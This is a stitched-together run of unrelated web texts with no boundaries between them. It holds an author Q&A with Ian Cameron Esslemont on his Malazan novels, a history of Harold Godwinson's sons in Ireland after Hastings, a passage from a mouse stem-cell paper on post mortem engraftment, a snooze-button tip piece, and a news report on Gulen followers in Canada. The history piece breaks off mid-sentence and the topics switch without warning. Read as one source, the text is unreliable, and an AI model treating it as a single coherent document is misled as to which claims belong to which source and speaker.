I will ask the question we were just discussing in the comments of the epilogue, who are Rallick and Vorcan talking about? Thank you for all of the work you have put into this series and world. Your books are great! Also, thank you so much for taking the time to read and answer our questions, I say this every time, but it is truly appreciated.
TedThePenguin: (Another great name And you know Steve and I love names!)
Rallick and Vorcan are discussing her daughter.
Question 5 (from Wilbur):
Thank you, Ian, for participating in these Q&A sessions. The re-read and commentary allowed me to understand for the first time that the Heels from Assail are in Moon’s Spawn in OST. I suppose that I only became aware of them as characters after reading Assail, so I didn’t recognize them when I read OST the first time. Can you elaborate just a little as to what was their purpose in journeying to the Spawn, since my reading of their personalities in Assail is that they are pretty closely tied to their land and water in the continent of Assail? What did they hope to accomplish in the Spawn? Thank you again!
Wilbur:
Great catch, Wilbur! Yes indeed. These were indeed the unfortunate Heels. The reasons were as given: to gather coin or trade goods (or perhaps powerful weapons) with which to deal with the growing presence of the southerners. As Cull says, it didn’t work out for them. You are right, they are tied very closely to the land, yet they left (as so many do), and, of course, they returned.
Question 6 (from David E.)
Hi ice, thanks for agreeing to do this Q&A. I’m reading your books for the first time, entirely out of order (NoK then OST and now RotCG), and I’m enjoying them greatly. I’ve a question about description. I’ve noticed (and, obviously, feel free to disagree) that you often tend to be quite sparing in describing a new character—that you’ll provide maybe one distinguishing feature or article of clothing, then move on. It strikes me as a quite conscious decision, and I was wondering if you could account for this preference over a more ‘full’, lavish accounting. Cheers!
David E.
As to being ‘spare’ in my character descriptions I beg mea culpa, for certain. I agree that I could squeeze in a few more details there, generally, and am trying to work on that. BUT, what any fantasy writer must avoid at all costs is the dreaded ‘infodump’ where a butt-load of exposition is dropped on the reader in one gigantic paragraph giving a description from head to toe, and throwing in his/her family lineage to boot. Perhaps I err in the opposite direction, but better that direction that the other, to my mind.
Question 7 (from joau lamas):
Hi Ian, Thank you for the opportunity. We have a small group of people, on Portugal, that have “stubbled” appon the Malazan word. Currently I re-reading Orb, Scepter and throne and it is making way more scence the second time around. Being such an intricate saga, and writing in the same world you share with Steven, what is your very own favourite character? Also, I have to ask, do you even consider coming to the Portuguese market and eventualy participate in a book signing? Best regards, João Lamas
joau lamas:
Frankly, I would love it if my work was translated into Portuguese, and I would consider it a great privilege to come to any signing or con in Portugal (hint, hint). So, get on any local translating publishing house to take on my work!
As to a favourite character, one mustn’t have favourites among one’s work of course, like one’s children, but, coming out of Assail, I am very fond of Shimmer. (And, right now, I’m having a blast with Kellanved).
Question 8 (from Daniel Isaiah Elder):
Ian, Thanks so kindly for taking time to answer our questions, and for your books, which have helped paint so much interesting and compelling detail into the portrait of the Malazan universe. I’ve just finished Assail and lament (pun most certainly intended) that I’ll have to wait at all to read about Shadowthrone and Cotillion…but I feel confident the wait will be worth it. I have a comment and a question. My comment is simply this: there is a brief scene, perhaps a page in length, in OST, that is one of my favorite stretches of writing, period. It’s when, through the eyes of another of the Hundredth, we see Jan take off through Majesty Hall absolutely demolishing every Moranth he runs into, and ends with the other of the Hundredth catching up to him, breathless. *I* was breathless. I’ve read that passage again and again. It’s the creme de la creme! My question: I find that one of the greatest pleasures in writing are when, having crafted an outline and knowing where the story goes, during the process of writing you find yourself totally surprised by what you’re writing—you didn’t see it coming. Perhaps it’s a detail that doesn’t change the course of the story, but sometimes you discover something truly staggering – that a character has to die, perhaps, who you thought would survive. I wanted to ask you if you could share any such moments of surprise from your writings in the world of the Malazan Empire? Whether in OST or any of your other books (though I suppose we don’t want to spoil BaB and Assail for any first-timers following along. Thanks again and have a wonderful time writing the Path to Ascendancy trilogy! -Daniel
Daniel:
Speaking for myself, the task of writing is only endurable because of those very moments of surprise that, for me, come with every scene and every description. Because, while Steve and I may have the mountain sketched out, every climb is different and one never knows what hold or crevasse might appear in one’s way.
In many ways it is these very surprising moments that I love the most. I shouldn’t spill any details for Assail, but, looking back, in Knives I found that Edgewalker became one such surprise. He was to have been very much a background character, but since then he has grown and has now possesses very great importance (but more of that to come in the remaining books from Steve and I).
Question 9 (from D. Mengerink):
Hi Ian, thanks for the wonderfull books! I thoroughly enjoyed the different environments and story structures you used in them to craft the Malazan World. I have a question. Is T’renn now a god? And will we see him again in the future from either you or Steven? With Regards, Dion Mengerink
Dion:
As to Tayschrenn becoming T’renn—he has now taken up the burden once shouldered by K’rul. Not so much a god, though some may choose to worship him, if they wish. For myself, I don’t see him appearing too much in his current role. However, we will be seeing much more of the younger Tay in the Path to Ascendancy books
Question 10 (from Adrian Gray):
Hi Ian, First of all, I love your work, so thanks for that, and thank you for talking to us in this way. Okay, questions! In your early books, you’ve broken the text into Parts, just as Erikson does. However, by B&B and Assail you’ve left this behind, writing uninterrupted novels. May I ask what the point of this was? I can speculate that it was more natural for the story being told, or there was a change on the part of your editors, or you wanted to break the mold a bit, but hopefully you can tell me!
Adrian Gray:
Neither B&B nor Assail came to me in their conception as partitioned, and so I just didn’t consider it. Structure is tricky. Sometimes you just want to give the reader a break, frankly. But, as I said, it I didn’t see either of them as holding such a partitioned structure in the first place.
As to specifics: in RotCG, we learn that the Malazans sent approximately 40,000 soldiers after the Crimson Guard to Stratem, forcing the Diaspora to occur. I wonder why the Malazans didn’t stay and occupy Stratem? Especially given the descriptions of a peaceful, forested land that just seems ripe for colonisation and deforestation!
Good question, Adrian. The empire at this time was quite weak and overextended. The soldiers were needed closer to home on Quon itself to contain rebellious states and as reinforcements for already invaded territories. Statem just had to wait – then, they never got to opening it as a new front as new brush-fires erupted everywhere (at least, that’s how I see it).
That’s it! My special mention from your series goes to the interactions between Murk and Celeste in B&B. A beautiful characterisation of yet another standard Malazan soldier being forced to think for himself. So thank you.
Question 11 (from James Chapman):
I find that in interviews you are often asked about your collaborative gaming experience with Steven, however I was wondering if there were any prominent takeaways from other members of your gaming group, be it noteworthy actions, characters, or narrative decisions, that may have impacted the world of Malaz as we now know it. As a GM myself, I feel that I have taken something away from every person I have played with, and I was curious if you’d shared any kind of similar experience.
James:
Yes, I have taken away a great deal from many of the guys (and it was mostly guys—sigh) that I gamed with. Perhaps I am lucky, or gaming attracts sharp individuals, but I fell in with some of the smartest and best friends I’d ever made there around the gaming table. I learned so much from them, be it plotting or pacing, or character development or narrative, you name it. Gaming taught me so much of what lies behind ‘good’ writing—at least from a story point-of-view.
My writing is as informed by my interactions there as by my voracious reading of F & SF of the time.
Question 12 (from Bill Capossere):
Hi Cam, As always, thanks for taking the time to do this. I have two process questions 1) Rather than ask about what happened in this book, I first wanted to ask about what didn’t happen. I’m wondering if you can tell us something that was cut from the book–a character, a scene, a foreshadow—at what stage it was cut, and why it was cut (obviously because you thought it wouldn’t work, but if you could add a little beyond that… ) 2) Several characters are revealed in little dribs and drabs and hints, and for some, even those dribs and drabs and hints don’t add up to a fully clear portrait (which I’m fine with most of the time). I’m curious about how you release those dribs in your writing. Do you have a full portrait of the character in your head and plan out a “time-release capsule” version of revelations? Do you ever go, “Whoops, that’s giving the store away!” and pare back an already written scene to make it more ambiguous? Do you ever rub your hands and cackle maniacally as you imagine readers trying to figure a particular character out?
Bill:
In a question above I claim Mea Culpa to falling too far on the lean side of character description—a habit I will be trying to work against. And, as to dribbling things out, I am trying to avoid those indigestible ‘info-dumps’ that so clog fantasy writing. The danger, however, of this process—as you rightly point out—is contradicting oneself accidentally! I can and does happen. Things get through now and then.
As to cutting, much gets cut! As the saying goes: many are called, few are chosen. So it should be in any novel writing process. One may have to take several runs as a scene or moment before being satisfied with the chosen POV or approach. I have had to draft several versions of battles before being satisfied with its presentation. Or, similarly, I would have loved to have spent more time with Torvald among the Moranth, but I had to keep things moving along—perhaps that’s another novel entirely!
Question 13 (from Morghus):
I don’t have any questions, I just want to thank you for your books, they’re great, and I look forward to reading more from you!
Morghus:
Well, many thanks for the vote of confidence. I’m very glad you’re enjoying the work to date. Such votes always give me greater energy in turning to the next ones! And I think you will enjoy Lament if you like the flavor and tone of what we’ve established so far.
Question 14 (from Thile):
I missed the end of the OST reread, plunged on into DoD and now tCG along with other extracurriculars. So I just wanted to say thanks, Cam! OST was one of my favourites of the whole series. I read it right after Toll the Hounds and it worked really well following that one up. Really enjoyed learning more of the Moranth and Seguleh, but as always, wanting more. In the DoD Q&A, Steven mentioned the possibility of their being a Malazan RPG D20 system with supplement(s). Is there any word on that? When you divided the world/history up for writing, did it just work out the way that the books have been published, so far? In that you wrote 6 whereas Steven wrote 10 (not including Kharkanas and other such). Thank you
Thile:
Steve and I have been in a few negotiations for setting up an RPG based on the Malaz world. So far we haven’t found exactly what we’re looking for, but we remain hopeful.
When we set out the first series we made lists of ‘wanna-write’ novels. His had ten and mine had six. However, with the new series we’re past those totals. I’m in for three more, for example, as part of the history—which had been unofficially handed over to me by Steve anyway (should I have chosen to take it on).
Question 15 (from Bystander):
There has been discussion about the seemingly unrealistic ability of the Seguleh to take on vast forces that greatly outnumber them. Examples being the three Seguleh “punitive” army that faced the Tenescowri in Memories of Ice and the battles in Orb Sceptre Throne against the Rhivi and Malazans. While Envy might have tipped the scales against the Tenescowri, the sheer number of Rhivi (a few hundred Seguleh against 30,000 Rhivi) made some readers skeptical. Do you have any comments on this? Are they the Malazan world’s Spartans?
Bystander:
You’ve pretty much hit it on the head, there. The Seguleh are the Spartans (so to speak) of the Malaz world. As to one-sided battles, or few taking on many, history is replete with such. The famous Spartan moment is but one such.
Frankly, it’s the willingness to die. If battles are approached in that frame of mind, then it gives extraordinary advantage, as ones’ opponents are hampered by the need to keep themselves alive. It is also one particular instance where Steve and I are willing to follow along in the classic genre traditions of the stand of one against many, etc. Or the willingness to take the Alamo stand (and in this case, because of interventions, win). The heroic in Heroic Fantasy.
Question 16 (from Nimander):
Hi Ian, thanks for doing this Q&A, my two questions are: Do you consider “Novels of the Malazan Empire” as a series, and if so what were your goals with it? How do you approach theme for a single book? Thank you again.
Nimander:
Thank you for asking. The series is very much one arc of six books. In this case I see Knives as apart, so the arc really begins with RCG and ends with Assail. In many ways these two works are two halves of the same book. When reading Assail, keep Return in mind.
As to theme, the Malaz world overall features a number of main themes. Each novel gets to more fully explore a set of these. It’s not really for me to expound here on what’s going on as that’s mere authorial intent and what do I know anyway? What I will say is that circles of completion feature very highly in Assail.
Question 17 (from worrywort):
So nobody’s gonna ask about K’rul, huh? Good! Me neither! I do want to ask: So what exactly is so special about the stones used by the T’orrud Cabal to build the circle around Majesty Hill? Is it the same material that the moon-like Orb is made of?
Worrywart:
The stone used is modeled on our Alabaster, which has a number of very interesting characteristics (look it up). It’s all taken to magical extremes in Malaz, of course. As to the Orb, not sure what you mean here—the actual physical Orb itself? Very likely, I’d say.
Oh, and as to K’rul. Well, as an Azathani, gender doesn’t really apply. It/he/she can appear as whatever it wants for effect at that moment. Remember, some even chose to appear as physical constructs.
Did Rake go to the Seguleh Isle specifically to take that mask? Rake definitely loomed large throughout this book (very much appreciated and skillfully weaved in), and it makes me think he must have had some sort of foresight (or given his age, firsthand knowledge) about the nature of the Tyrant. Anyway there’s a lot of great imagery regarding the orbs/circles/etc on the one hand and the moon (shattering and reforming) and Moon’s Spawn’s destruction/pillaging on the other, with like Rake dying and the Tyrant rising as the shared middle section of that Venn Diagram. I dunno, I feel like it’s all connected and it’s on the tip of my tongue but just not coming, so my brain is frazzled.
I’m very glad all the related themes and images are coalescing – what it all might amount to isn’t for me to say, really. But I think you are on the right track in seeing the Orbs, the circles, the cycles of creation/destruction, etc, all complimenting and building upon one another (or so I hope).
Rake did not deliberately go to the Isle of the Seguleh. This (yet to be written in any novel) scene is based on Steve and my gaming. Early on Rake was getting pretty cocky and so I ran a game for him in which he arrives at some unknown, unexplored island, and brazenly walks in as the great champion that he was at the time—and barely escapes with his skin! I it was a hilarious night of gaming and allowed me to take Rake down a notch or two.
In all the confusion he took the mask (perhaps meaning to use it somehow regarding the Tyrant) but then probably forgot about it as it got packed away with all the other art objects on the moon’s spawn.
What did you think of the scene in The Crippled God where gods are picking over the Fall of Coltaine? A lot of your Tayschrenn/D’rek/K’rul culmination reminded me of that, as well as some of Dassem’s thoughts on the war of the gods (and maybe his general reluctance to step into the role of Dessembrae), so I was wondering what your insider insight of that scene was, if that’s not too much giveaway.
Here, I think it would be too much of a ‘give away’ to set forth what I think (and it might just be plain wrong in any case). It’s for you readers to think about and reflect upon. Howver, again I’m glad that you see similarities in the scenes and the attitudes. I hope that consistency is sustainable deeper into the implications and thematics.
And one last comment: I’ve noticed that you tend to give your characters sandals while SE gives them boots. I don’t have a question, I just think it’s charming when little differences like that pop up. Kind of like that whole K’rul thing, come to think of it… well, nevermind.
Question 18 (from Midnight):
Thanks for a great book! I just had a couple of questions. Can you expand on the nature and identity of the Tyrant? Why was the decision made to keep him so anonymous?
Midnight:
I decided that the Tyrant would just be ‘the Tyrant’. One of many such, so to speak. OST was getting so packed I really had to make my choices regarding which paths to fully explore.
What type of demons are the Cabal members? Are they from Aral Gamelon?
Don’t really know. The Tyrant could have drawn them from anywhere. Don’t think they’re necessarily from there. They’re life before was long ago and going into that would have been a departure from the narrative of OST.
Is Kruppe human or a demon who escaped from the Cabal?
Ha, ha, yes. Very good question. I don’t believe there is anything factually preventing such a possibility, and I don’t want to say yes or no because it’s there for active thinking readers to explore. Let’s just say that Kruppe is Kruppe, and he is quite unique.
What happened to Tayschrenn when he became T’renn and how does this relate to K’rul?
K’rul is very old, over-extended, and weakened. In order to respond to the threat of the Fallen One, new blood was needed. Being the best candidate of the age, Tayshcrenn was chosen to take up the burden. K’rul now fades and T’renn replaces him as patron of magery and the Warrens.
Since no one else has I will ask about K’rul :) Why is it stated that K’rul is female while the Malazan Book of the Fallen portrays a male version?
Ah yes. As above, I had noticed (or thought I noticed) that Steve had already set out our precedent that the Azathani can shift gender (and more) and so I decided to depict this more overtly. Perhaps I was mistaken, but I see it as intrinsic to their non-human character in any case. They can be whatever they want, frankly.
Question 19 (from Mayday):
Hi Ian, Thank you so much for your work and your time! Two quick questions: I am a huge fan of the various ground-level stories you tell about different types of grunts and their growth across ROCG, Stonewielder, and OST. It really reminds me of how many filmmakers will make thematic trilogies. Was it a conscious decision you made early in the series to explore how various personalities become integrated into the army? Or was it a theme that you just enjoyed returning to as you tackled each book?
Thank you, Mayday. I think it is both a theme of our world, and a pleasure to depict. We would hope that this very theme would in fact be taken as central to the world, over all (as an emblem of larger such growth in life and character, in fact. )
What drew you to try to humanize and flesh out characters like Mallick Rel, Leoman, and <redacted>? It seems like a very tall mountain to climb :)
Ah yes. Mallick and Leoman. Leoman was in fact my character originally and so I was comfortable taking him on after Steve introduced him. As to Mallick. Well, he (and so many others) is Steve and my walking rebuttal to the unfortunate fantasy cliché of the ‘benevolent ruler’. In High Fantasy one assumption is that those who rule are justified in their position due to wisdom, goodness, etc. This is Tolkien’s treatment of the old Arthurian theme of the ‘True King in hiding’ and such. Our rebuttal is the more noire-ish aesthetic that those who pursue power and rulership are in fact those who shouldn’t have it. Any survey of Greek city state rulers, or Roman emperors shows that the Mallicks of the world very much outnumber the Aragorns (and that Aragorn is in fact the real fantasy here). In any case, we simply had to see Mallick’s rise to power in the empire.
Okay, many thanks for the question! Very happy to talk things over. All best to you high-endurance readers!
Yours, Ian Cameron Esslemont.Today is the 950th anniversary of the Battle of Hastings, the military contest in the autumn of 1066 which saw England and its besieged king, Harold Godwinson, fall to the Norman-French armies of William the Conqueror (or, Bastard), the ambitious Duke of Normandy. In fact that year saw two great armed clashes on the island of Britain, one at the Battle of Stamford Bridge in the north-east of England where Harold and a northern English host defeated an invading Scandinavian force led by Harald Hardrada, king of Norway, and Godwinson’s estranged brother, Tostig Godwinson, the rebellious Earl of Northumbria. Some nineteen days later most of that same victorious army, exhausted by conflict and travel, would suffer virtual annihilation at Hastings on the south-eastern coast of England.
When Harold Godwinson faced the Norman-French on the 14th of October 1066 he did so with an almost entirely English force. In contrast the armed hosting led at Stamford three weeks earlier had included a significant number of Scandinavian-Irish and Irish mercenaries who helped sway the battle his way. Those auxiliaries had come through the English ruler’s personal connections with the Irish seaport of Dublin and its overlord, Diarmaid mac Maoil na mBó, the formidable king of the Uí Cheinnsealaigh and ruler of the province of Laighin. Many years earlier in 1051 a younger Harold had followed his father, Godwin the Earl of Essex, into temporary political exile, choosing Ireland as his place of refuge along with his brother Leofwine (later Earl of Kent and Essex, who fell by his brother’s side at Hastings) and some of his children, while the rest of the Godwin family fled to Bruges. There he seems to have struck up a friendship with Murchú mac Diarmada, the youthful king of Dublin, and his father Diarmaid, who reigned at the populous fortress-town of Fearna Mór Maedhóg, over a hundred kilometres to the south. In 1052 Harold led a small Dublin naval fleet back to Britain in support of his father’s return from the Continent with Diarmaid’s approval. Meanwhile his sister, Edith of Wessex, the later wife of Edward the Confessor, the penultimate king of England, became a noted speaker of Irish, the lingua franca of the Irish Sea region.
Following the crushing defeat of the English at the Battle of Hastings, three of Harold Godwinson’s adult sons by his common law wife – Godwin, Edmund and Magnus – sought refuge in Ireland at the court of the family’s old sponsor, the king of Laighin and his aristocratic kin. They may have been proceeded by Harold’s legal wife, Edith of Mercier, the possible if unproven mother of his infant son and likely heir, Harold, born some months after the king’s bloody death. With Diarmaid’s support they organised several unsuccessful seaborne expeditions from the Scandinavian-Irish towns of Dublin and Wexford to liberate England, raiding some distance into the south-west of the country in the summers of 1068 and 1069 to the great alarm of the new and still insecure Norman-French occupiers (Magnus is never mentioned again after the first expedition perhaps indicating his loss). One of their main targets was the affluent seaport of Bristol, whose mercantile classes would later become associated with the Norman-British campaigns against Ireland in the 12th, 13th and 14th centuries.
With the unexplained death of Murchú in Dublin during the winter of 1070 and Diarmaid’s slaying in battle in early 1072 (while upholding his contested claim to be the “King of Ireland”), the surviving sons of Harold seem to have lost much of their Irish support. The last firm reference to the two siblings was in 1074 when they are said to have been present in the company of Sweyn II Estridsson, king of Denmark, presumably seeking his aid. After that date their fate is unknown, some speculating that they returned to Ireland, possibly blending into the Medieval aristocratic families of the island. Their much younger half-brother, Harold, was also mentioned in relation to Scandinavia in the 1080s before he too disappeared from the pages of history.
Given the later relationship of |
4°C in normoxia or anoxia, then enumerated at indicated times (n=7 mice); (b, c) in vitro assessment of myotube formation and expression of myogenic markers Myogenin and Desmin with satellite cells cultured in anoxia (n=5 mice). (d) Measurement of ROS of cells that remain alive after 4 days in anoxia. Ratio between day 0, and 4 days in anoxia; (n=5 mice). (e) Fluorescence intensity quantification of TOM22 immunolabelling per cell in freshly isolated cells, in cells extracted 4 days post mortem and 4 days in anoxia (n=30 cells; n=4 mice per condition). (f–k) 3D imaging of mitochondrial mass in satellite cells (n=4 mice). (f, i) day 0; (g, j) 4 days post mortem; (h, k) 4 days post anoxia. Immunolabelling shown for mitochondria with TOM22 (red), and nuclei (blue) with Hoechst 33342. For each condition, side view and 3D volume rendering are shown; 360° view of these cells is shown in Supplementary Movies 6–8. (l) RT–qPCR of mitochondrial genes, 16S rRNA and CytB (n=6 mice). mt rRNA is present in greater amounts than mRNA, as expected58,59. (m) RT–qPCR of SOD1 and SOD2 (n=6 mice). (n) mtDNA content (12S region) estimation by qPCR (n=6 mice). Statistical analysis was performed using paired or unpaired Student's t-tests, a minimum of 95% confidence interval for significance; P-values indicated on figures are <0.05 (*), <0.01 (**), and <0.001 (***). Figures display average values of all tests ±s.e.m. Full size image
Given our findings above regarding the metabolic and oxidative state of satellite cells, we examined in detail the mitochondrial status of satellite cells in post mortem and anoxic scenarios. Here, 0 and 4 days post mortem satellite cells were immunolabelled to detect TOM22, a core component of the mitochondrial outer membrane translocase37, as a readout of mitochondrial mass. We observed a decrease of 28.3% in mitochondrial mass in 4 days post mortem but not in 4 days anoxia-treated cells compared with freshly isolated cells (n=30 cells from four mice, Fig. 4e). With 3D analysis, the overall organization of the mitochondrial network seemed comparable under these conditions (Fig. 4f–k, Supplementary Movies 6–8). Moreover, RT–qPCR analysis of mitochondrial mRNA (CytB) and rRNA (16S) revealed significantly decreased steady-state levels of these transcripts in 4 days post mortem and, to a greater extent, in 4 days anoxia-treated satellite cells, compared with the control (Fig. 4l). We also observed decreased expression of the nuclear encoded CuZn-SOD1 and Mn-SOD2 super oxide dismutases, which are important components of the cellular antioxydant defence mechanism, in 4 days post mortem and in 4 days anoxia-treated cells compared with control cells (Fig. 4m). These findings are in agreement with previous reports noting a decline in mitochondrial RNAs and antioxidant SOD enzymes in a low-oxygen environment38,39. Interestingly, we noted a significant increase by 57.8% of the mitochondrial DNA (mtDNA) content in 4 days post mortem muscle stem cells. In contrast, mtDNA content decreased dramatically (78.1%) in 4 days anoxia-treated cells (Fig. 4n). Taken together, these findings indicate that although anoxia mimics under certain conditions the post mortem scenario, differences in oxygen consumption, ROS activity and mtDNA content suggest that stem cell behaviour under these conditions are not identical, and that perhaps residual levels of oxygen are present in post mortem tissue.
Engraftment potential of post mortem mouse muscle stem cells
To evaluate the regenerative potential of muscle stem cells after transplantation, and consequently the reversibility of the dormant cell state in vivo, satellite cells were isolated by FACS from triple transgenic donor mice, Tg:Pax7-nGFP::Tg:CAG-PLAP::Tg:MLC3F-nlacZ-2E. The ubiquitous PLAP (human placental alkaline phosphatase) reporter marks all transplanted cells, whereas nlacZ expression from the myosin light chain promoter marks differentiated cells10. GFP+ cells were isolated from 0 or 4 days post mortem skeletal muscles, or cells were maintained at 4 °C without oxygen for 4 days, then transplanted into cardiotoxin pre-injured regenerating TA skeletal muscles of immunocompromised Rag2−/−:γ C−/− recipient mice10 (n=5 recipient mice total; Fig. 5a–d). Transplantation of 5,000 satellite cells from day 4 post mortem donor mice or satellite cells maintained for 4 days in anoxia yielded and average of 75 and 69 PLAP-expressing myofibres/TA muscle, respectively, with centrally located nuclei (a hallmark of regeneration)9 (Fig. 5b–d). Notably, the number of regenerating fibres was equivalent, or slightly higher that those obtained with control freshly isolated satellite cells (54 PLAP expressing-myofibres; Fig. 5a,d). Given that efficient regeneration by satellite cells is directly influenced by endothelial cells and the extent of vessel formation8, we enumerated the number of capillary sections around each donor-derived myofiber to examine the extent of vessel formation. No significant differences were observed among regenerated myofibers indicating that the ability to stimulate capillaries was not hampered by post mortem or anoxic-derived satellite cells (Fig. 5e).
Figure 5: Muscle stem cells that survive post mortem or in anoxia retain robust regenerative potential after transplantation. (a–c) Transplantation of muscle stem cells from Tg:Pax7-nGFP::Tg:CAG-PLAP::Tg:MLC3F-nlacZ-2E donor mice into pre-injured TA muscle of immunocompromised recipient mice (n=5 mice). Immunohistochemistry showing contribution of donor-transplanted stem cells to regenerating fibres (red) in recipient mouse; inset in b shows a satellite cell in the niche after self-renewal. (d) Number of myofibres engrafted in the recipient muscle after injection of 5000 freshly isolated, post mortem, or anoxic donor cells (n=5 recipient mice each; 54±17 PLAP positive fibres with freshly isolated cells, 75±26 with 4 days post mortem cells, 69±29 with anoxic donor cells). (e) Distribution of the number of capillary sections around myofibers after regeneration in non-engrafted regenerated fibers (centrally nucleated), engrafted (hPLAP-positive) with 4 days post mortem or 4 days post anoxia donors. Statistical analysis was performed using paired or unpaired Student's t- tests, a minimum of 95% confidence interval for significance. Figures display average values of all tests ±s.e.m. Full size image
Engraftment of post mortem mouse HSCs
To investigate whether our findings can be extended to another stem cell model, blood stem and progenitor cells were examined. At 2 and 4 days post mortem, bone marrow (BM) was severely altered showing cell compaction, shrinkage of cytoplasm and oedema (Fig. 6a–c). At daily intervals post mortem, the BM of Tg:CAG-GFP mouse femur was flushed and the engraftment potential of transplanted progenitors was assessed. Survival of BM cells after storage in anoxia was determined (Fig. 6d). Full reconstitution was observed in lethally irradiated C57BL/6 recipient mice (n>5 mice per time point; Fig. 6e black bars). GFP+ leukocytes were found in all lineages (B and T lymphocytes, granulocytes or monocytes using B220 and CD5, Gr1 Ly6C or CD11b expression, respectively) as assessed by flow cytometry (Fig. 6f). To determine if post mortem BM contained long-term HSCs, serial transplantations were performed with the grafted BM in lethally irradiated recipient mice. In all cases (day 2, 3 or 4 days post mortem), all of the animals were viable with 100% chimerism (Fig. 6e, grey bars). Similar results were obtained with HSCs kept in anoxia. BM cells were extracted from Tg:CAG-GFP mice and kept at 4 °C for 1–4 days in anoxia, and transplanted into lethally irradiated C57BL/6 recipient mice (n≥5 mice per condition). Whereas, the number of cells remaining was low (36.5±5.6 at day 1 and 4.4±0.8 at day 4 post anoxia, Fig. 6d), mice survived after BM transplantation, chimerism was 100% (Fig. 6g, black bars) and all haematopoietic lineages were reconstituted (Fig. 6h). Serial transplantations of BM cells isolated after the first round of transplantation demonstrated that the HSCs can repopulate all lineages in the blood (Fig. 6g, grey bars).It's all too tempting to hit the snooze button when the alarm goes off in the morning. Don't do it: You might think the extra few minutes will give you time to wake up, but it does more harm than good. This video explains why.
The folks at ASAP Science explain that while you might think that hitting snooze will give you a chance to finish your natural sleep cycle and wake up feeling rested, that's not what happens. After you hit snooze and drift off, your brain starts its sleep cycle all over again. When the alarm goes off a second time, you're likely at an even deeper, earlier part of your sleep cycle, which results in you feeling even worse than you did the first time.
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If you regularly wake up feeling groggy, they explain the trouble may be that your alarm is going off at the wrong part of your sleep cycle. Try setting your alarm a few minutes later (or getting up a little earlier) and sticking to a regular sleep schedule to get a nice rhythm going. For more tips, check out our guide to getting a better night's sleep and rebooting your sleep schedule.
Should You Use the SNOOZE Button? | ASAP Science (YouTube)A crackdown on Gulen followers in Turkey has spilled into Canada, creating a deep divide in the Turkish community in this country.
A delegation from Turkey recently visited Canada to urge the closing of the Nile Academy, a private Toronto school that follows the teachings of Fethullah Gulen, a 75-year-old preacher whom Turkish officials accuse of masterminding an attempted coup d'état on July 15. Enrolment at the school has plummeted – down to 300 students from 500.
Efforts in Canada by Turkish authorities and supporters of President Recep Tayyip Erdogan have made life miserable for Gulen followers here, many say.
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They have been made unwelcome in mosques and restaurants frequented by Turkish-Canadians, and they have been cursed and protested against by fellow citizens.
In Turkey, hundreds of Gulen schools have been shut down, and thousands of people have been rounded up, dismissed from positions in the military, police, judiciary and other government offices. The arrests include two Canadians with dual citizenship who are still being held in Turkey.
Prime Minister Justin Trudeau raised their cases on the sideline of September's G20 summit, telling Turkish officials that he hoped the men would at least receive consular visits from Canadian representatives.
Many Turkish-Canadians are feeling frightened these days.
"Good," said Erdeniz Sen, Turkey's consul-general in Toronto, who has visited several mosques and community centres in southern Ontario sounding the alarm against what he calls the "Gulen terrorist organization."
"They [the Gulenists] tried to overthrow the democratically elected government of Turkey. That's unforgivable," Mr. Sen said.
But Mr. Gulen denies involvement in the attempted July putsch that lasted but a few hours and left more than 200 dead. The elderly preacher left his native Turkey in 1999 to live in self-imposed exile in Pennsylvania after running afoul of previous anti-Islamic regimes.
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An author and former imam, Mr. Gulen began an educational movement known as Hizmet in the 1960s. His writings emphasize not Islam, as many assume, but the importance of education and the value of cultural diversity. The success of his schools in turning out highly educated graduates allowed the movement to spread outside Turkey to several other countries, including Canada.
The Turkish government is looking to Canada and the U.S. for extradition of Mr. Gulen and his supporters but without luck so far. The tension has enveloped at least two Canadian families.
This summer, Davud Hanci, a Muslim chaplain working at federal correctional institutions in the Calgary area, was visiting family in northeastern Turkey with his wife, Rumeysa, and their two children, 8 and 9. On Aug. 2, Turkish authorities came for Mr. Hanci. The family was staying at the home of an uncle but police knew where to find them. They handcuffed Mr. Hanci and took his Canadian passport and Turkish ID. "The children were terrified," Ms. Hanci said.
"My husband is a gentle man," she said. "He is opposed to violence. But the local [Turkish] papers ran his picture and said he was an organizer of the coup. It is not true."
Mr. Hanci remains in custody and his wife, who has since returned to Canada, has not heard from him since his arrest.
A similar nightmare happened to another Turkish-Canadian, Ilhan Erdem. He was also visiting Turkey with his wife, Hatice, and their two children, 9 and 9 months. The coup attempt delayed their return flight. When they tried to leave on July 25, Mr. Erdem was arrested at the airport in Istanbul.
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"They tore all of our luggage apart," Ms. Erdem said. "They have no right to do this to my family."
She returned to Canada with the children and tried to arrange a lawyer for her husband.
Canadian consular officials were denied permission to see Mr. Erdem, a common occurrence when a country does not recognize a prisoner's dual Turkish-Canadian citizenship.
Ms. Erdem eventually found a lawyer who learned that Mr. Erdem had already been tried and found guilty of being a leading member of the coup organizers.
"My husband is innocent," Ms. Erdem insisted. "Fifteen years in Canada and he's not even had a parking ticket."
Other Canadians, who were not in Turkey at the time of the coup, are feeling unease.
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One person in Montreal associated with a Gulen organization described how a visibly angry man came to his door one evening to tell him to take down the Turkish flag at the front of his house; that he was a traitor and had no right to wave it.
"When I turned on the recorder in my cellphone [to record the man's abusive behaviour], he tried to grab it from me and we scuffled," said the Gulen follower who insisted, as did many of the people interviewed, that his name not be revealed for fear of further repercussions.
"This is a small community," the victimized man said, referring to Montreal's Turkish community. "They know who we [the Gulen followers] are. It's all very unsettling."
In Ottawa in September, several dozen pro-Erdogan protesters, many bused in from Toronto, turned up at the annual Turkish festival put on by the local Gulen organization. Police kept the protest group at bay, but the placards and shouting denouncing the Gulen followers as terrorists disrupted the spirit of the event.
A number of Turkish academics, who were visiting Canada at the time of the coup, said they dare not return home because they teach at a Gulen-funded institution. They will stay as long as their visas allow and may seek refugee status after that.
Lorne Waldman, a Toronto immigration lawyer, has handled close to 20 cases of Turks stranded in Canada who have sought asylum since the July 15 coup. "Not one has been refused," he said. "The Immigration and Refugee Board of Canada takes it as a given that Turks affiliated with Gulen will be at risk if they return to Turkey."
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At Mustafa's restaurant in Toronto, one of the Turkish community's most popular eateries, the owner said that people are coping. He estimated that "about 80 per cent of the community" sides with the current Turkish government and they continue to eat at his establishment.
What about the other 20 per cent?
"It's better if they stay away," he said.The Daily News-Miner encourages residents to make themselves heard through the Opinion pages. Readers' letters and columns also appear online at newsminer.com. Contact the editor with questions at [email protected] or call 459-7574.
Community Perspective
